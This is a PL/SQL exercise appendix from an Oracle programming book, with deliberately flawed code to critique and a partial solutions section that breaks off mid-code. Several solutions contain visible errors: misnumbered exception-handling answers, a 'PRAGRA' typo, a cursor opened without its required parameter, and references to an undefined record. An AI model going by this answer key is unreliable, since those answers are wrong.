Previous: VI. Testing Your Knowledge Appendix A Next: A.2 Solutions

A. Appendix: PL/SQL Exercises

Contents:
Exercises
Solutions

The exercises included in this appendix are designed to enhance your ability to write well-structured PL/SQL programs, and also to identify problems with existing code. I recommend that you test out your baseline PL/SQL skills on these exercises before you explore Parts III through V of this book, where you will learn how to apply your skills to building robust and reusable packages.

For solutions to these exercises, see Section A.2, "Solutions" later in this appendix.

A.1 Exercises

The exercises are arranged by topic:

Conditional logic
Loops
Exception handling
Cursors
Builtin functions
Builtin packages
Modules
Module evaluation

A.1.1 Conditional Logic

  1. Rewrite the following IF statements so that you do not use an IF statement to set the value of no_revenue. What is the difference between these two statements? How does that difference affect your answer?

    IF total_sales <= 0
THEN
   no_revenue := TRUE;
ELSE
   no_revenue := FALSE;
END IF;

IF total_sales <= 0
THEN
   no_revenue := TRUE;
ELSIF total_sales > 0
THEN
   no_revenue := FALSE;
END IF;

  2. Rewrite the following IF statement to work as efficiently as possible under all conditions, given the following information: the calc_totals numeric function takes three minutes to return its value, while the overdue_balance Boolean function returns TRUE/FALSE in less than a second.

    IF calc_totals (1994, company_id_in => 1005) AND
   NOT overdue_balance (company_id_in => 1005)
THEN
   display_sales_figures (1005);
ELSE
   contact_vendor;
END IF;

  3. Rewrite the following IF statement to get rid of unnecessary nested IFs:

    IF salary < 10000
THEN
   bonus := 2000;
ELSE
   IF salary < 20000
   THEN
      bonus := 1500;
   ELSE
      IF salary < 40000
      THEN
         bonus := 1000;
      ELSE
         bonus := 500;
      END IF;
   END IF;
END IF;

  4. Which procedure will never be executed in this IF statement?

    IF (order_date > SYSDATE) AND order_total >= min_order_total
THEN
   fill_order (order_id, 'HIGH PRIORITY');
ELSIF (order_date < SYSDATE) OR
      (order_date = SYSDATE)
THEN
   fill_order (order_id, 'LOW PRIORITY');
ELSIF order_date <= SYSDATE AND order_total < min_order_total
THEN
   queue_order_for_addtl_parts (order_id);
ELSIF order_total = 0
THEN
   disp_message (' No items have been placed in this order!');
END IF;

A.1.2 Loops

  1. How many times does the following loop execute?

    FOR year_index IN REVERSE 12 .. 1
LOOP
   calc_sales (year_index);
END LOOP:

  2. Select the type of loop (FOR, WHILE, simple) appropriate to meet each of the following requirements:

    1. Set the status of each company whose company IDs are stored in a PL/SQL table to closed.

    2. For each of twenty years in the loan-processing cycle, calculate the outstanding loan balance for the specified customer. If the customer is a preferred vendor, stop the calculations after twelve years.

    3. Display the name and address of each employee returned by the cursor.

    4. Scan through the list of employees in the PL/SQL table, keeping count of all salaries greater than $50,000. Don't even start the scan, though, if the table is empty or if today is a Saturday or if the first employee in the PL/SQL table is the president of the company.

  3. Identify the problems with (or areas for improvement in) the following loops. How would you change the loop to improve it?

    1. FOR i IN 1 .. 100
LOOP
   calc_totals (i);
   IF i > 75
   THEN
      EXIT;
   END IF;
END LOOP;

    2. OPEN emp_cur;
FETCH emp_cur INTO emp_rec;
WHILE emp_cur%FOUND
LOOP
   calc_totals (emp_rec.salary);
   FETCH emp_cur INTO emp_rec;
   EXIT WHEN emp_rec.salary > 100000;
END LOOP;
CLOSE emp_cur;

    3. FOR a_counter IN lo_val .. hi_val
LOOP
   IF a_counter > lo_val * 2
   THEN
      hi_val := lo_val;
   END IF;
END LOOP;

    4. DECLARE
   CURSOR emp_cur IS SELECT salary FROM emp;
   emp_rec emp_cur%ROWTYPE
BEGIN
   OPEN emp_cur;
   LOOP
      FETCH emp_cur INTO emp_rec;
      EXIT WHEN emp_cur%NOTFOUND;
      calc_totals (emp_rec.salary);
   END LOOP;
   CLOSE emp_cur;
END;

    5. WHILE no_more_data
LOOP
   read_next_line (text);
   no_more_data := text IS NULL;
   EXIT WHEN no_more_data;
END LOOP;

    6. FOR month_index IN 1 .. 12
LOOP
   UPDATE monthly_sales
      SET pct_of_sales = 100
    WHERE company_id = 10006
      AND month_number = month_index;
END LOOP;

    7. DECLARE
   CURSOR emp_cur IS SELECT ... ;
BEGIN
   FOR emp_rec IN emp_cur
   LOOP
      calc_totals (emp_rec.salary);
   END LOOP;
   IF emp_rec.salary < 10000
   THEN
      DBMS_OUTPUT.PUT_LINE ('Give ''em a raise!');
   END IF;
   CLOSE emp_cur;
END;

    8. DECLARE
   CURSOR checked_out_cur IS
      SELECT pet_id, name, checkout_date
        FROM occupancy
       WHERE checkout_date IS NOT NULL;
BEGIN
   FOR checked_out_rec IN checked_out_cur
   LOOP
      INSERT INTO occupancy_history (pet_id, name, checkout_date)
         VALUES (checked_out_rec.pet_id,
                 checked_out_rec.name,
                 checked_out_rec.checkout_date);
   END LOOP;
END;

  4. How many times does the following WHILE loop execute?

    DECLARE
   end_of_analysis BOOLEAN := FALSE;
   CURSOR analysis_cursor IS SELECT ...;
   analysis_rec analysis_cursor%ROWTYPE;
   next_analysis_step NUMBER;
   PROCEDURE get_next_record (step_out OUT NUMBER) IS
   BEGIN
      FETCH analysis_cursor INTO analysis_rec;
      IF analysis_rec.status = 'FINAL'
      THEN
         step_out := 1;
      ELSE
         step_out := 0;
      END IF;
   END;
BEGIN
   OPEN analysis_cursor;
   WHILE NOT end_of_analysis
   LOOP
      get_next_record (next_analysis_step);
      IF analysis_cursor%NOTFOUND AND
         next_analysis_step IS NULL
      THEN
         end_of_analysis := TRUE;
      ELSE
         perform_analysis;
      END IF;
   END LOOP;
END;

  5. Rewrite the following loop so that you do not use a loop at all.

    FOR i IN 1 .. 2
LOOP
   IF i = 1
   THEN
      give_bonus (president_id, 2000000);
   ELSIF i = 2
   THEN
      give_bonus (ceo_id, 5000000);
   END IF;
END LOOP;

  6. What statement would you remove from this block? Why?

    DECLARE
   CURSOR emp_cur IS
      SELECT ename, deptno, empno
        FROM emp
       WHERE sal < 2500;
   emp_rec emp_cur%ROWTYPE;
BEGIN
   FOR emp_rec IN emp_cur
   LOOP
      give_raise (emp_rec.empno, 10000);
   END LOOP;
END;

A.1.3 Exception Handling

  1. In each of the following PL/SQL blocks, a VALUE_ERROR exception is raised (usually by an attempt to place too large a value into a local variable). Identify which exception handler (if any -- the exception could also go unhandled) will handle the exception by writing down the message that will be displayed by the call to PUT_LINE in the exception handler. Explain your choice.

    1. DECLARE
   string_of_5_chars VARCHAR2(5);
BEGIN
   string_of_5_chars := 'Steven';
END;

    2. DECLARE
   string_of_5_chars VARCHAR2(5);
BEGIN
   BEGIN
      string_of_5_chars := 'Steven';
   EXCEPTION
      WHEN VALUE_ERROR
      THEN
         DBMS_OUTPUT.PUT_LINE ('Inner block');
   END;
EXCEPTION
   WHEN VALUE_ERROR
   THEN
      DBMS_OUTPUT.PUT_LINE ('Outer block');
END;

    3. DECLARE
   string_of_5_chars VARCHAR2(5) := 'Eli';
BEGIN
   BEGIN
      string_of_5_chars := 'Steven';
   EXCEPTION
      WHEN VALUE_ERROR
      THEN
         DBMS_OUTPUT.PUT_LINE ('Inner block');
   END;
EXCEPTION
   WHEN VALUE_ERROR
   THEN DBMS_OUTPUT.PUT_LINE ('Outer block');
END;

    4. DECLARE
   string_of_5_chars VARCHAR2(5) := 'Eli';
BEGIN
   DECLARE
      string_of_3_chars VARCHAR2(3) := 'Chris';
   BEGIN
      string_of_5_chars := 'Veva';
   EXCEPTION
      WHEN VALUE_ERROR
      THEN DBMS_OUTPUT.PUT_LINE ('Inner block');
   END;
EXCEPTION
   WHEN VALUE_ERROR
   THEN DBMS_OUTPUT.PUT_LINE ('Outer block');
END;

    5. DECLARE
   string_of_5_chars VARCHAR2(5);
BEGIN
   BEGIN
      string_of_5_chars := 'Steven';
   EXCEPTION
      WHEN VALUE_ERROR
      THEN
         RAISE NO_DATA_FOUND;
      WHEN NO_DATA_FOUND
      THEN
         DBMS_OUTPUT.PUT_LINE ('Inner block');
   END;
EXCEPTION
   WHEN NO_DATA_FOUND
   THEN
      DBMS_OUTPUT.PUT_LINE ('Outer block');
END;

  2. Write a PL/SQL block that allows all of the following SQL DML statements to execute, even if any of the others fail:

    UPDATE emp SET empno = 100 WHERE empno > 5000;
DELETE FROM dept WHERE deptno = 10;
DELETE FROM emp WHERE deptno = 10;

  3. Write a PL/SQL block that handles by name the following Oracle error:

    ORA-1014: ORACLE shutdown in progress.

    The exception handler should, in turn, raise a VALUE_ERROR exception. Hint: use the EXCEPTION INIT pragma.

  4. When the following block is executed, which of the two messages shown below are displayed? Explain your choice.

    Message from Exception Handler

    Output from Unhandled Exception

    Predefined or
programmer-defined?

    Error at line 1:
ORA-1403: no data found
ORA-6512: at line 5

    DECLARE
   d VARCHAR2(1);
   /* Create exception with a predefined name. */
   no_data_found EXCEPTION;
BEGIN
   SELECT dummy INTO d FROM dual WHERE 1=2;
   IF d IS NULL
   THEN
      /*
      || Raise my own exception, not the predefined
      || STANDARD exception of the same name.
      */
      RAISE no_data_found;
   END IF;
EXCEPTION
   /* This handler only responds to the RAISE statement. */
   WHEN no_data_found
   THEN
      DBMS_OUTPUT.PUT_LINE ('Predefined or programmer-defined?');
END;

  5. I create the getval package as shown below. I then call DBMS_OUTPUT.PUT_LINE to display the value returned by the getval.get function. What is displayed on the screen?

    CREATE OR REPLACE PACKAGE getval
IS
   FUNCTION get RETURN VARCHAR2;
END getval;
/
CREATE OR REPLACE PACKAGE BODY getval
IS
   v VARCHAR2(1) := 'abc';
   FUNCTION get RETURN VARCHAR2 IS
   BEGIN
      RETURN v;
   END;
BEGIN
   NULL;
EXCEPTION
  WHEN OTHERS THEN
    DBMS_OUTPUT.PUT_LINE ('Trapped!');
END getval;
/

A.1.4 Cursors

  1. What cursor-related statements are missing from the following block?

    DECLARE
   CURSOR emp_cur IS SELECT * FROM emp;
BEGIN
   OPEN emp_cur;
   FETCH emp_cur INTO emp_rec;
END;

  2. What statement should be removed from the following block?

    DECLARE
   CURSOR emp_cur IS SELECT * FROM emp;
   emp_rec emp_cur%ROWTYPE;
BEGIN
   FOR emp_rec IN emp_cur
   LOOP
      give_raise (emp_rec.empno);
   END LOOP;
END;

  3. Name the cursor attribute (along with the cursor name) you would use (if any) for each of the following requirements:

    1. If the FETCH did not return any records from the company_cur cursor, exit the loop.

    2. If the number of rows deleted exceeded 100, notify the manager.

    3. If the emp_cur cursor is already open, fetch the next record. Otherwise, open the cursor.

    4. If the FETCH returns a row from the sales_cur cursor, display the total sales information.

    5. I use an implicit cursor SELECT statement to obtain the latest date of sales for my store number 45067. If no data is fetched or returned by the SELECT, display a warning.

  4. What message is displayed in the following block if the SELECT statement does not return a row?

    PROCEDURE display_dname (emp_in IN INTEGER) IS
   department# dept.deptno%TYPE := NULL;
BEGIN
   SELECT deptno INTO department#
     FROM emp
    WHERE empno = emp_in;
   IF department# IS NULL
   THEN
      DBMS_OUTPUT.PUT_LINE ('Dept is not found!');
   ELSE
      DBMS_OUTPUT.PUT_LINE ('Dept is ' || TO_CHAR (department#));
   END IF;
EXCEPTION
   WHEN NO_DATA_FOUND
   THEN
      DBMS_OUTPUT.PUT_LINE ('No data found');
END;

  5. What message is displayed in the following block if there are no employees in department 15?

    PROCEDURE display_dept_count
IS
   total_count INTEGER := 0;
BEGIN
   SELECT COUNT(*) INTO total_count
     FROM emp
    WHERE deptno = 15;
   IF total_count = 0
   THEN
      DBMS_OUTPUT.PUT_LINE ('No employees in department!');
   ELSE
      DBMS_OUTPUT.PUT_LINE
         ('Count of employees in dept 15 = ' || TO_CHAR (total_count));
   END IF;
EXCEPTION
   WHEN NO_DATA_FOUND
   THEN
      DBMS_OUTPUT.PUT_LINE ('No data found');
END;

  6. If you fetch past the last record in a cursor's result set, what will happen?

  7. How would you change the SELECT statement in the following block's cursor so that the block can display the sum of salaries in each department?

    DECLARE
   CURSOR tot_cur IS
      SELECT deptno, SUM (sal)
        FROM emp
       GROUP BY deptno;
BEGIN
   FOR tot_rec IN tot_cur
   LOOP
      DBMS_OUTPUT.PUT_LINE
         ('Total is: ' || tot_rec.total_sales);
   END LOOP;
END;

  8. Rewrite the following block to use a cursor parameter. Then rewrite to use a local module, as well as a cursor parameter.

    DECLARE
   CURSOR dept10_cur IS
      SELECT dname, SUM (sal) total_sales
        FROM emp
       WHERE deptno = 10;
   dept10_rec dept10_cur%ROWTYPE;
   CURSOR dept20_cur IS
      SELECT dname, SUM (sal)
        FROM emp
       WHERE deptno = 20;
   dept20_rec dept20_cur%ROWTYPE;
BEGIN
   OPEN dept10_cur;
   FETCH dept10_cur INTO dept10_rec;
   DBMS_OUTPUT.PUT_LINE
      ('Total for department 10 is: ' || tot_rec.total_sales);
   CLOSE dept10_cur;
   OPEN dept20_cur;
   FETCH dept20_cur INTO dept20_rec;
   DBMS_OUTPUT.PUT_LINE
      ('Total for department 20 is: ' || tot_rec.total_sales);
   CLOSE dept20_cur;
END;

  9. Place the following cursor inside a package, declaring the cursor as a public element (in the specification). The SELECT statement contains all of the columns in the emp table, in the same order.

    CURSOR emp_cur (dept_in IN INTEGER) IS
   SELECT empno, ename, job, mgr, hiredate, sal, comm, deptno
     FROM emp
    WHERE deptno = dept_in;

A.1.5 Builtin Functions

  1. Identify the appropriate builtin to use for each of the following requirements:

    Requirement

    Builtin

    Calculate the number of days until the end of the month.

    Capitalize the first character in a word and lowercase the rest of the word.

    Convert a date to a string.

    Convert a number to a string.

    Convert a string to a date.

    Convert a string to lower case.

    Determine the length of a string.

    Determine the place of a character in the collating sequence of the character set used by the database.

    Extract the last four characters in a string.

    Extract the word found between the first and second _ delimiters in a string.

    Fill out a number in a string with leading zeroes.

    Find the last blank in a string.

    Find the Saturday nearest to the last day in March 1992.

    Find the third S in a string

    Get the first day in the month for a specified date.

    How many months are between date1 and date2?

    I store all my names in uppercase in the database, but want to display them in reports in upper and lowercase.

    If it is High Noon in New York, what time is it in Calcutta?

    Remove a certain prefix from a string (for example, change std_company_id to company_id).

    Replace all instances of _ with a #.

    Return the error message associated with a SQL error code.

    Return the largest integer less than a specified value.

    Review all new hires on the first Wednesday after they'd been working for three months.

    Strip all leading numeric digits from a string.

    What is the current date and time?

    What is the date of the last day in the month?

  2. What portion of the string "Curious George deserves what he gets!" (assigned to variable curious_george) is returned by each of the following calls to SUBSTR:
    1234567890123456789012345678901234567
Curious George deserves what he gets!
    SUBSTR Usage

    Returns

    SUBSTR (curious_george, -1)

    SUBSTR (curious_george, 1, 7)

    SUBSTR (curious_george, 9, 6)

    SUBSTR (curious_george, -8, 2)

    SUBSTR (curious_george,
        INSTR (curious_george, -1, ' ') + 1)

    SUBSTR (curious_george,
        INSTR (curious_george, ' ', -1, 3) + 1,
        LENGTH ('cute'))

    SUBSTR (curious_george, -1 * LENGTH (curious_george))

A.1.6 Builtin Packages
  1. What program would you use to calculate the elapsed time of your PL/SQL code execution? To what degree of accuracy can you obtain these timings?
  2. What would you call to make your PL/SQL program pause for a specified number of seconds? What other techniques can you think of which would have this same effect?
  3. What package can you use to determine if the current session has issued a COMMIT? How would you go about obtaining this information?
  4. What do you see when you execute the following statements in SQL*Plus (assuming that you have already called SET SERVEROUTPUT ON):
    SQL> execute DBMS_OUTPUT.PUT_LINE (100);
SQL> execute DBMS_OUTPUT.PUT_LINE ('     Five spaces in');
SQL> execute DBMS_OUTPUT.PUT_LINE (NULL);
SQL> execute DBMS_OUTPUT.PUT_LINE (SYSDATE < SYSDATE - 5);
SQL> execute DBMS_OUTPUT.PUT_LINE (TRANSLATE ('abc', NULL));
SQL> execute DBMS_OUTPUT.PUT_LINE (RPAD ('abc', 500, 'def'));
  5. When an error occurs in your program, you want to be able to see which program is currently executing. What builtin packaged function would you call to get this information? If the current program is a procedure named calc_totals in the analysis package, what would you see when you call the builtin function?
  6. You want to build a utility for DBAs that would allow them to create an index from within a PL/SQL program. Which package would you use? Which programs inside that package would be needed?
  7. You need to run a stored procedure named update_data every Sunday at 4 AM to perform a set of batch processes. Which builtin package would you use to perform this task? You will need to pass a string to the submit program to tell it how often to run update_data. What would that string be?
A.1.7 Modules
  1. In each of the following modules, identify changes you would make to improve their structure, performance, or functionality.
    1. FUNCTION status_desc (status_cd_in IN VARCHAR2) RETURN VARCHAR2
IS
BEGIN
   IF    status_cd_in = 'C' THEN RETURN 'CLOSED';
   ELSIF status_cd_in = 'O' THEN RETURN 'OPEN';
   ELSIF status_cd_in = 'A' THEN RETURN 'ACTIVE';
   ELSIF status_cd_in = 'I' THEN RETURN 'INACTIVE';
   END IF;
END;

    2. FUNCTION status_desc
            (status_cd_in IN VARCHAR2, status_dt_out OUT DATE)
RETURN VARCHAR2
IS
BEGIN
   ... /* same function as above */
END;

    3. FUNCTION company_name (company_id_in IN company.company_id%TYPE)
   RETURN VARCHAR2
IS
   cname company.company_id%TYPE;
   found_it EXCEPTION;
BEGIN
   SELECT name INTO cname FROM company
    WHERE company_id = company_id_in;
   RAISE found_it;
EXCEPTION
   WHEN NO_DATA_FOUND
   THEN
       RETURN NULL;
   WHEN found_it
    THEN
       RETURN cname;
END;

    4. PROCEDURE compute_net (company_id IN INTEGER)
IS
   balance_remaining NUMBER := annual_sales (company_id);
BEGIN
   FOR month_index IN 1 .. 12
   LOOP
      IF balance_remaining <= 0
      THEN
         RETURN 0;
      ELSE
         balance_remaining := debt (company_id, month_index);
      END IF;
   END LOOP;
END;
  2. Given the header for calc_profit below, which of the following calls to calc_profit are valid:
    PROCEDURE calc_profit
   (company_id_in IN NUMBER,
    profit_out OUT NUMBER
    fiscal_year_in IN NUMBER,
    profit_type_in IN VARCHAR2 := 'NET_PROFITS',
    division_in IN VARCHAR2 := 'ALL_DIVISIONS')
    Call to calc_profit

    Good/Bad? Why?

    calc_profit
   (1005, profit_level, 1995, 'ALL', 'FINANCE');

    calc_profit
   (new_company, profit_level);

    calc_profit
   (company_id_in => 32, fiscal_year_in => 1995,
    profit_out => big_number);

    calc_profit
   (company_id_in => 32, fiscal_year_in => 1995,
    profit_out => 1000);

  3. Suppose that I have a general utility that displays the contents of a PL/SQL table of dates. The header for this procedure is:
    PROCEDURE dispdates
   (table_in IN PLVtab.date_table,
    num_rows_in IN INTEGER,
    header_in IN VARCHAR2 := NULL);
    where PLVtab.date_table is a predefined table TYPE stored in the PLVtab package. Notice that the default value for the header is NULL, which means that no header is displayed with the table contents.
    Here is an example of a call to this program:
    dispdates (birthdays, bday_count, 'List of Birthdays');
    Now suppose that you had to use dispdates to satisfy the following requirement: "Display the list of company start dates stored in the date table without any header." I can think of two ways do this:
    dispdates (company_list, num_companies);
    and:
    dispdates (company_list, num_companies, NULL);
    Which of these implementations would you choose and why? Is there any reason to choose one over the other?
A.1.8 Module Evaluation: Foreign Key Lookup
I have found that there are two ways to improve your skills in module construction:
  1. Write lots of procedures and functions.
  2. Critique someone else's efforts.
Certainly, there is no substitute for doing the work yourself. I find, on the other hand, that when I have the opportunity to look at another developer's work, a different kind of dynamic sets in. I am not sure that it speaks well of my personality, but I find it a whole lot easier to find the weaknesses in someone else's programs than in my own.
So assuming that everyone in the world in the same as me (a scary thought, but one I must entertain as a possibility), I offer a function for you to evaluate that I built myself long ago that does foreign-key lookups. No holds barred. No one to insult. See just how many problems you can find in the getkey_clrtyp. You might even try to rewrite the program to suit your tastes -- and then evaluate that!
We spend way too much of our time writing software to perform foreign key lookups. And in many situations, the interface we offer to our users to support easy access to foreign key information is inadequate. The approach I like to take is to hide the foreign keys themselves (users rarely need to know, after all, that the ID number for Acme Flooring, Inc. is 2765). Instead, I let the user type in as much of the name as she wants. I then see if there if there are any matches for that string. If there are no matches, I prompt for another entry. If there is just one match, I return the full name and the ID to the host application. If there are more than one match, I display a list.
The getkey_clrtyp function encapsulates this logic. The function itself returns a numeric code as follows:
0 = No match

1 = Unique

2 = Duplicate

It also returns through the parameter list the full name of the caller type and the numeric foreign key value. This function has a number of weaknesses in its design. See how many you can identify.
FUNCTION GETKEY_CLRTYP
(NAME_INOUT IN OUT VARCHAR2, NU_INOUT OUT NUMBER)
RETURN NUMBER IS
   CURSOR CLRTYP_CUR IS
      SELECT TYP_NU, TYPE_DS
        FROM CALLER_TYPE
       WHERE TYPE_DS LIKE NAME_INOUT || '%';
   CLRTYP_REC CLRTYP_CUR%ROWTYPE;
   NEXT_REC CLRTYP_CUR%ROWTYPE;
   TYP_NU VARCHAR2(10) := NULL;
   RETVAL NUMBER := NULL;
BEGIN
IF NAME_INOUT IS NOT NULL
THEN
OPEN CLRTYP_CUR;
   FETCH CLRTYP_CUR INTO CLRTYP_REC;
   IF CLRTYP_CUR%NOTFOUND
   THEN RETURN 0; ELSE
   FETCH CLRTYP_CUR INTO NEXT_REC;
   IF CLRTYP_CUR%NOTFOUND
   THEN RETVAL := 1;
   ELSE RETVAL := 2;
   END IF;
   NU_INOUT := CLRTYP_REC.TYP_NU;
   NAME_INOUT := CLRTYP_REC.TYP_DS;
   END IF;
CLOSE CLRTYP_CUR;
RETURN RETVAL;
END IF;
END GETKEY_CLRTYP;
Previous: VI. Testing Your Knowledge | Advanced Oracle PL/SQL Programming with Packages | Next: A.2 Solutions
VI. Testing Your Knowledge | Book Index | A.2 Solutions
  The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home

Oracle PL/SQL Programming, 2nd. Ed.

Guide to Oracle 8i Features

Oracle Built-in Packages

Advanced PL/SQL Programming with Packages

Oracle Web Applications

Oracle PL/SQL Language Pocket Reference

Oracle PL/SQL Built-ins Pocket Reference


[Appendix A] A.2 Solutions

Advanced Oracle PL/SQL Programming with Packages

Advanced Oracle PL/SQL Programming with PackagesSearch this book

A.2 Solutions

This section contains the answers to the exercises shown earlier in this appendix.

A.2.1 Conditional Logic

  1. Rewrite the following IF statements so that you do not use the IF statement to set the value of no_revenue. What is the difference between the two statements?

    The first IF statement can be simplified to:

    no_revenue := NVL (total_sales, 1) <= 0;

    I use NVL to make sure that no_revenue is set to FALSE, as would happen in the original IF statement. Without using NVL, I will set no_revenue to NULL if total_sales is NULL.

    The second statement is a bit more complicated, again due to the complexities of handling NULL values. If total_sales is NULL, the IF statement does not assign a value to no_revenue at all. NULL is never less than or equal to any number. So I still need an IF statement, but not (strictly speaking!) to assign a value to no_revenue:

    IF total_sales IS NOT NULL
THEN
   no_revenue := total_sales <= 0;
END IF;

  2. Rewrite the following IF statement to work as efficiently as possible under all conditions, given the following information: the calc_totals numeric function takes 3 minutes to return its value, while the overdue_balance Boolean function returns TRUE/FALSE in less than a second.

    IF NOT overdue_balance (company_id_in => 1005)
THEN
   IF calc_totals (1994, company_id_in => 1005)
   THEN
      display_sales_figures (1005);
   ELSE
      contact_vendor
   END IF;
ELSE
   contact_vendor;
END IF;

  3. Rewrite the following IF statement to get rid of unnecessary nested IFs:

    IF salary < 10000
THEN
   bonus := 2000;
ELSIF salary < 20000
THEN
   bonus := 1500;
ELSIF salary < 40000
THEN
   bonus := 1000;
ELSE
   bonus := 500;
END IF;

  4. Which procedure will never be executed in this IF statement?

    The call to queue_order_for_addtl_parts will never run since the previous ELSIF clause will always be true first.

A.2.2 Loops

  1. How many times does the following loop execute?

    Not a single time. The first number in the range scheme must always be the smaller value.

  2. Select the type of loop (FOR, WHILE, simple) appropriate to meet each of the following requirements:

    1. Numeric FOR loop.

    2. Simple or WHILE loop. The main thing is to not use a FOR loop since there is a conditional exit.

    3. Display the name and address of each employee returned by the cursor. Cursor FOR loop.

    4. WHILE loop, since there are conditions under which you do not want the loop body to execute even a single time.

  3. Identify the problems with (or areas for improvement in) the following loops. How would you change the loop to improve it?

    1. Do not use a generic loop index name (i). In addition, the conditional EXIT from the FOR loop should be removed. Instead, use a FOR loop that loops from 1 to 76 (can you see why?).

    2. This loop relies on two diferent FETCH statements. Better off using a simple loop and just a single FETCH inside the loop. In addition, you should not EXIT from inside a WHILE loop. You should instead rely on the loop boundary condition.

    3. Never attempt to change the values used in the range scheme. It will not actually affect the execution of the loop, since the range scheme is evaluated only once, at the time the loop begins. Such an assignment remains, however, a very bad programming practice.

    4. First, this program will not compile, since emp_rec record has not been defined. Second, you don't really need to declare that record because you should instead use instead a cursor FOR loop to reduce code volume.

    5. Do not use EXIT WHEN inside WHILE loop. Should only rely on changes in loop boundary condition.

    6. You should not use a PL/SQL loop at all. Instead employ straight SQL as follows:

      UPDATE monthly_sales
   SET pct_of_sales = 100
 WHERE company_id = 10006
   AND month_number BETWEEN 1 AND 12;

    7. Never declare the cursor loop index (emp_rec). The reference to emp_rec.salary after the loop references the still-null record declared in the block, not the record filled inside the loop (which has terminated and erased that record). Also, the final CLOSE will attempt to close a closed cursor.

    8. Do not use a PL/SQL loop. Instead, INSERT directly from the SELECT statement.

      INSERT INTO occupancy_history (pet_id, name, checkout_date)
   SELECT pet_id, name, checkout_date
     FROM occupancy
    WHERE checkout_date IS NOT NULL;

  4. How many times does the following WHILE loop execute?

    An infinite number of times. This is an infinite WHILE loop. The local module called inside the loop never returns NULL for step_out, so next_analysis_step is never NULL, so the loop never terminates.

  5. Rewrite the following loop so that you do not use a loop at all.

    This is a "phony loop." You don't need the loop or the IF statement. Just execute the code sequentially.

    give_bonus (president_id, 2000000);
give_bonus (ceo_id, 5000000);

  6. What statement would you remove from this block? Why?

    Remove the declaration of the emp_rec record. The cursor FOR loop implicitly declares a record of the right structure for you. In fact, the emp_rec record declared right after the cursor is never used in the block.

A.2.3 Exception Handling

  1. In each of the following PL/SQL blocks, a VALUE_ERROR exception is raised (usually by an attempt to place too large a value into a local variable). Identify which exception handler (if any -- the exception could also go unhandled) will handle the exception by writing down the message that will be displayed by the call to PUT_LINE in the exception handler. Explain your choice.

    1. VALUE_ERROR is raised because "Steven" has six characters and the maximum length of string is five characters.

    2. Exception is unhandled. There is no exception section.

    3. "Inner block" is displayed.

    4. "Inner block" is displayed.

    5. "Outer block" is displayed.

    6. "Outer block" is displayed. The inner NO_DATA_FOUND handler does not come into play.

  2. Write a PL/SQL block that allows all of the following SQL DML statements to execute, even if the any of the others fail:

    BEGIN
   BEGIN
      UPDATE emp SET empno = 100 WHERE empno > 5000;
   EXCEPTION
      WHEN OTHERS THEN NULL;
   END;
   BEGIN
      DELETE FROM dept WHERE deptno = 10;
   EXCEPTION
      WHEN OTHERS THEN NULL;
   END;
   BEGIN
      DELETE FROM emp WHERE deptno = 10;
   EXCEPTION
      WHEN OTHERS THEN NULL;
   END;
END;

  3. Write a PL/SQL block that handles by name the following Oracle error:

    ORA-1014: ORACLE shutdown in progress.

    The exception handler should handle the error by propagating the exception by in turn raising a VALUE_ERROR exception. Hint: use the EXCEPTION INIT pragma.

    DECLARE
   shutting_down EXCEPTION;
   PRAGRA EXCEPTION INIT (shutting_down, 1014);
    BEGIN
       ... code ...
EXCEPTION
   WHEN shutting_down
   THEN
      ... handler ...
END;

  4. When the following block is executed, which of these two messages are displayed?

    The ORA-1403 error message is displayed. The exception, in other words, goes unhandled. Since I have defined a local exception with same name as system predefined, that identifier overrides the system exception in this block. So when the SELECT statement raised NO_DATA_FOUND and PL/SQL moves to the exception section, it does not find a match.

    You could make sure that the system exception is handled by changing the handler as follows:

    WHEN SYSTEM.NO_DATA_FOUND
THEN
   ...

    By qualifying the name of the exception, you tell PL/SQL which one you want to handle.

  5. I create the getval package as shown below. I then call DBMS_OUTPUT.PUT_LINE to display the value returned by the getval.get function. What is displayed on the screen?

    ERROR at line 1:
ORA-06502: PL/SQL: numeric or value error
ORA-06512: at line 2

    The error, in other words, goes unhandled. When I first reference the getval.get function, the package data is instantiated for my session. It then attempts to declare the private v variable. The default value for the variable is, unfortunately, too large for the variable, so PL/SQL raises the VALUE_ERROR exception. The exception section of the package only can handle exceptions raised in the initialization section of the package, so this error is unhandled and quite unhandleable from within the package itself.

A.2.4 Cursors

  1. What cursor-related statements are missing from the following block?

    Missing a CLOSE statement and a declaration of the emp_rec record.

  2. What statement should be removed from the following block?

    Remove the declaration of emp_rec.

  3. Name the cursor attribute (along with the cursor name) you would use (if any) for each of the following requirements:

    1. company_cur%NOTFOUND

    2. SQL%ROWCOUNT

    3. emp_cur%ISOPEN

    4. sales_cur%FOUND

    5. No cursor attribute can be used. Instead, rely on an exception handler for NO_DATA_FOUND.

  4. What message is displayed in the following block if the SELECT statement does not return a row?

    "No data found." If an implicit cursor does not return any rows, PL/SQL raises the NO_DATA_FOUND exception.

  5. What message is displayed in the following block if there are no employees in department 15?

    "No employees in department!" is displayed. This SELECT statement does not find any rows, but since it is a group operation, SQL returns a single value of 0.

  6. If you fetch past the last record in a cursor's result set, what will happen?

    Nothing. PL/SQL does not raise any errors, nor does it return any data into the record or variable list of the FETCH statement.

  7. How would you change the SELECT statement in the following block's cursor so that the block can display the sum of salaries in each department?

    Add a column alias "total sales" right after the SUM (SAL) expression.

  8. Rewrite the following block to use a cursor parameter. Then rewrite to use a local module, as well as a cursor parameter.

    1. With cursor parameter:

      DECLARE
   CURSOR dept_cur (dept_in IN emp.deptno%TYPE) IS
      SELECT dname, SUM (sal) total_sales
        FROM emp
       WHERE deptno = dept_in;
   dept_rec dept_cur%ROWTYPE;
BEGIN
   OPEN dept_cur (10);
   FETCH dept_cur INTO dept_rec;
   DBMS_OUTPUT.PUT_LINE
      ('Total for department 10 is: ' || tot_rec.total_sales);
   CLOSE dept_cur;
   OPEN dept_cur;
   FETCH dept_cur INTO dept_rec;
   DBMS_OUTPUT.PUT_LINE
      ('Total for department 20 is: ' || tot_rec.total_sales);
   CLOSE dept_cur;
END;

    2. With local module and cursor parameter:

      DECLARE
   CURSOR dept_cur (dept_in IN emp.deptno%TYPE) IS
      SELECT dname, SUM (sal) total_sales
        FROM emp
       WHERE deptno = dept_in;
   dept_rec dept_cur%ROWTYPE;
   PROCEDURE display_dept (dept_in IN emp.deptno%TYPE) IS
   BEGIN
      OPEN dept_cur (dept_in);
      FETCH dept_cur INTO dept_rec;
      DBMS_OUTPUT.PUT_LINE
         ('Total for department ' || TO_CHAR (dept_in) ||
          ' is: ' || tot_rec.total_sales);
